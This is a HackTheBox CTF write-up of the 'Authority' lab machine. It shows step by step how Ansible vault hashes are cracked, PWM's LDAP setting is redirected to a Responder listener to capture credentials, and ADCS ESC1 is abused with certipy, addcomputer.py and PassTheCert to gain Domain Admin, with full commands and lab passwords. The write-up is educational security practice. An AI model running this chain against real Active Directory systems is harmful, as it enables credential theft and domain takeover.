HackTheBox Authority Write-Up
Table of Contents
Authority is a medium HackTheBox machine that tests your ability to research technologies you may not have come across before and utilise documentation effectively to accomplish your goals. It also involves exploiting Active Directory Certificate Services for domain privilege escalation.
Enumeration
We’ll begin with an Nmap scan to find out which ports are open and then perform a more detailed scan in order to obtain more information about them.
nmap -Pn -p- --min-rate 1000 -v 10.10.11.222
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
5985/tcp open wsman
8443/tcp open https-alt
9389/tcp open adws
47001/tcp open winrm
Based on the open ports alone, we can already tell that we’re dealing with Active Directory.
nmap -Pn -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389 -v 10.10.11.222
We’re going to add the domain to our /etc/hosts
file as usual.
What’s more, our detailed scan reveals that there’s a Certificate Authority configured, which means we also have Active Directory Certificate Services running. We can’t do a lot with that information without having any credentials to work with, so we’ll table that for later.
We have SMB running as expected for an Active Directory environment and two websites running on ports 80 and 8443.
We’ll start by enumerating SMB as that can present us with low-hanging fruit if anonymous login happens to be enabled.
smbclient -L \\\\10.10.11.222\\
smbclient \\\\10.10.11.222\\Development -U anonymous
smbclient \\\\10.10.11.222\\"Department Shares" -U anonymous
When listing the available shares with smbclient
, we notice two non-default shares with could be of interest to us. If you try to connect to Department Shares
, you will see that directory listing is denied.
The Development share looks especially interesting as it could contain sensitive information, so let’s explore that avenue.
smbclient \\\\10.10.11.222\\Development -U anonymous
If we hadn’t noticed the Certificate Authority in our scans, the ADCS folder here would have been another clue.
We can also tell that Ansible has been utilised at some point for automation. This could mean that we might be able to recover or gain access to credentials that were utilised at some point during the automatic configuration.
Let’s download everything so we can explore the files more easily on our machine.
Exploring the files we acquired, we come across a file containing Tomcat users. We’ll note these credentials down in case we have use for them later.
I had not come across PWM before, so I researched what it is and found the project’s GitHub and from there the documentation page. PWM is a web-based configuration manager with over 500 configurable settings mainly tested and intended to work with Tomcat, which could explain the credentials we found.
There are a lot of .yml
files to explore, which are files written in YAML and used in playbooks - step-by-step configuration files used with Ansible to manage and automate configuration and application deployment.
Ansible vault
The most interesting file for us is found under the PWN/defaults
folder and contains what looks like encrypted login details.
If something is encrypted, there must a way to decrypt it, which we can find by sifting through Ansible documentation.
Examining the decrypt
command, we find out that it requires a “vault secret” which we currently do not have.
Digging around, I found two ways to proceed. We can use ansible2john
just as we would with any other 2john
tool. We can also use this online tool which serves the exact same function. For that purpose, we’d have to copy the blobs that start with $ANSIBLE_VAULT
to separate files and convert them with our tool of choice one by one.
This leaves us with three separate hashes that we can then save in one file and proceed to crack with John.
It turns out that all three result in the same password. Now we’ve obtained the vault secret we need in order to decrypt the vault. We can go back to the three files with the vault blobs and decrypt them in order.
If you’ve never used the command before, you’ll be prompted to install the required package first.
ansible-vault decrypt vault.blob1 --output decrypted.blob1
Vault password:
Decryption successful
The first blob gives us svc_pwm
which seems to be a username. Blobs 2 and 3 result in what appears to be credentials, which we can correlate back with the main.yml
file as being the pwm_admin_password
and ldap_admin_password
. We’ll put everything down in our notes.
pwm_admin_login: svc_pwm
pwm_admin_password: pWm_@dm!N_!23
ldap_admin_password: DevT3st@123
We can also find this in the file under the ADCS/defaults
folder.
The email and passphrase may be relevant later so we’re going to note them down.
As we’ll soon discover, not all the information we’ve collected is going to be useful to us. Nevertheless, we need to be thorough in our enumeration.
Web services
After we’ve exhausted everything we could obtain from the initial SMB anonymous access, we’re going to move on to the websites we know are running. The website on port 80 only gives us the default Microsoft IIS ( Internet Information Services) page and trying to find directories or vhosts with Gobuster
gives us no results.
We can move on to the website running on port 8443. We are greeted with this page when first accessing the website.
The message below the login portal indicates that PWM has not been fully configured and is not secure. We can try to login with the user svc_pwm
and the pwm_admin_password
we obtained when decrypting the Ansible vault, but we get an error message.
None of the other credentials we have collected work either.
If we try to access the Configuration Manager, we can see some details about previous authentications and we are asked to provide a password.
This time, entering the pwm_admin_password
lets us access the service.
From the information available to us, we can see that there’s another user - svc_ldap
, and that the service is attempting and failing to connect to LDAPS on port 636.
Furthermore, we have the option to download the current configuration file and import a file of our own. This could prove very useful.
User flag
Let’s download and examine the current configuration file. The first thing that piques our interest is a password hash at the very beginning of the file.
We can identify the hash as bcrypt
, hashcat mode 3200, but even when running Hashcat on our host machine, it will take upwards of 10 hours to go through rockyou
, so we’ll continue examining the file.
Further down, we’ll find the configuration for the LDAPS server that the service is attempting to access.
This is perfect. It means that we can edit the file and configure it to reach out to our own machine and potentially capture a hash or cleartext credentials with Responder.
We can either replace the value or add another line to it with our own IP. We must keep in mind that Responder cannot run an LDAPS server when making the edit, so our line would look like this:
<value>ldap://10.10.16.3:389</value>
We can now start Responder on our attacking machine and hope the service will reach out to us.
responder -I tun0 -dwv
If you experience an error with Responder (Error starting TCP server on port 389, check permissions or other servers running.
), you can use the following command to find what process is running on that port and then use its PID to kill it.
sudo ss --tcp --udp --listen --numeric --process | grep 389
With Responder running, we can now go back to import the configuration, which will restart the application.
As soon as that’s completed, we will receive cleartext credentials in Responder for the svc_ldap
user.
Alternative
Sometimes, there is more than one way to pwn a machine. We can accomplish the exact same thing by accessing the Configuration Editor instead and proceeding to add our own machine under the Connection menu.
Once we’ve made the addition we just need to click on “Test LDAP Profile” and we’ll obtain the cleartext credentials in Responder once more.
Having obtained valid credentials, we can now login with evil-winrm
, as we found port 5985 to be open in our initial scans, and we can finally obtain the user flag.
Privilege Escalation — ADCS
When we examine directories on the machine, we get yet another hint pointing towards ADCS.
There’s a singular certificate in the Certs
directory, but there’s not much we can do with it.
What we can do is proceed to enumerate the certificate templates available. Enumerating and exploiting ADCS has never been easier with a tool like Certipy.
First we’re going to utilise the tool with the find
command and the credentials we’ve obtained to enumerate templates.
certipy find -u svc_ldap -p '<password>' -dc-ip 10.10.11.222
Using this command, we will obtain the output in three formats - a txt file, a JSON file and a zip file intended for Bloodhound.
We can add the -text
and -vulnerable
flags to the command, which will provide us with just a txt file containing only vulnerable templates.
The tool very helpfully provides us with the exact vulnerability, in this case ESC1, which we can then look up in the tool documentation on GitHub to learn how it can be abused, but I’ve also highlighted the things to look out for if we were examining templates manually.
Before we can proceed, however, we need to access to a Domain Computer account which we don’t have. However, if Active Directory has been configured with default settings, we can add such an account ourselves.
To find out, we can check the MachineAccountQuota domain-level attribute. By default it is set to 10, allowing standard domain users to create machine (aka computer) accounts.
We can check this attribute with the following PowerShell command:
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
Perfect, the default settings have not been changed. Now we can utilise addcomputer.py
from the Impacket Suite to add create a new computer account with a password of our choice.
We’ll need to specify the DC IP, computer name and our chosen password.
addcomputer.py -dc-ip 10.10.11.222 -computer-pass 'Whatever13' -computer-name new_computer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
addcomputer.py -dc-ip 10.10.11.222 -computer-pass 'Whatever13' -computer-name new_computer 'authority.htb/svc_ldap:<password>'
Now that we have a computer account, we can use it to request a template from the Certificate Authority. We need to specify credentials, the CA itself, the domain, the user principal name for the Administrator account so we can then authenticate as that account, and the DNS server, which we discovered previously when we saw what the PWM service was attempting to reach out to.
certipy req -u 'new_computer$' -p 'Whatever13' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn administrator@authority.htb -dns authority.authority.htb -dc-ip 10.10.11.222
Troubleshooting
Now, there are two errors you can get here when running this command.
[-] Got error: Unknown DCE RPC fault status code: 00000721
[-] Got error: The NETBIOS connection with the remote host timed out.
I don’t believe this is intended, as I never encountered these errors the first time I did the box. Recommended solutions are changing the order of entries in your hosts file, or adding the domain and DC IP to your /etc/resolv.conf
or through the network manager after which you have to restart the service with sudo systemctl restart NetworkManager
. I am sure which one of these solves the problem, a combination of those plus restarting the machine and running the Certipy command finally took care of the issue for me.
PassTheCert
Having obtained the administrator certificate, the next step would be to utilise it for authentication, thereby receiving the NTLM hash of the administrator with the following command:
certipy auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222
This fails in our case with the following error which is indeed intended:
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
Googling the specific error leads us to this issue on GitHub and consequently to a tool called PassTheCert. We learn that the error means the KDC is not set up for Kerberos authentication and the Domain Controller does not support PKINIT. The PassTheCert tool allows us to bypass that by authentication via LDAP(S).
We can use the version of the tool written in Python. All we need to do is follow the instructions on GitHub to the letter. We can run the following commands to extract the certificate and private key from the pfx file.
certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
[*] Writing certificate to 'user.crt'
certipy cert -pfx administrator_authority.pfx -nocert -out user.key
[*] Writing private key to 'user.key'
Afterwards we can utilise those with the PassTheCert Python script to authenticate to the DC via LDAP.
python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222
This will provide us with a fair number of commands we can run, most notably we can create a new user and add a user to a group.
Root flag
The simplest way to proceed is to add the svc_ldap
user to the local Administrators group or to Domain Admins.
add_user_to_group svc_ldap Administrators
add_user_to_group svc_ldap "Domain Admins"
The other route is to create our own user and then add that user to a group, which is the better route to take so we do not make any changes to existing users.
add_user arth0s
Attempting to create user in: %s CN=Users,DC=authority,DC=htb
Adding new user with username: arth0s and password: L|PcV[Ua)=%+M(W result: OK
The user we add will be assigned a random complex password, we’re free to change that and add the user to one of the aforementioned groups.
change_password arth0s Whatever13
Got User DN: CN=arth0s,CN=Users,DC=authority,DC=htb
Attempting to set new password of: Whatever13
Password changed successfully!
Voila! We are now able to log in with our newly created user and obtain the root flag.
Thank you for reading and thank you to the creators of this box mrb3n and Sentinal920.
If you’re interested in diving deeper into abusing ADCS for domain privilege escalation, read the documentation for Certipy, the the Certified Pre-Owned white paper by Will Schroeder and Lee Christensen, and you’re welcome to check out my GitHub repo dedicated to that as well.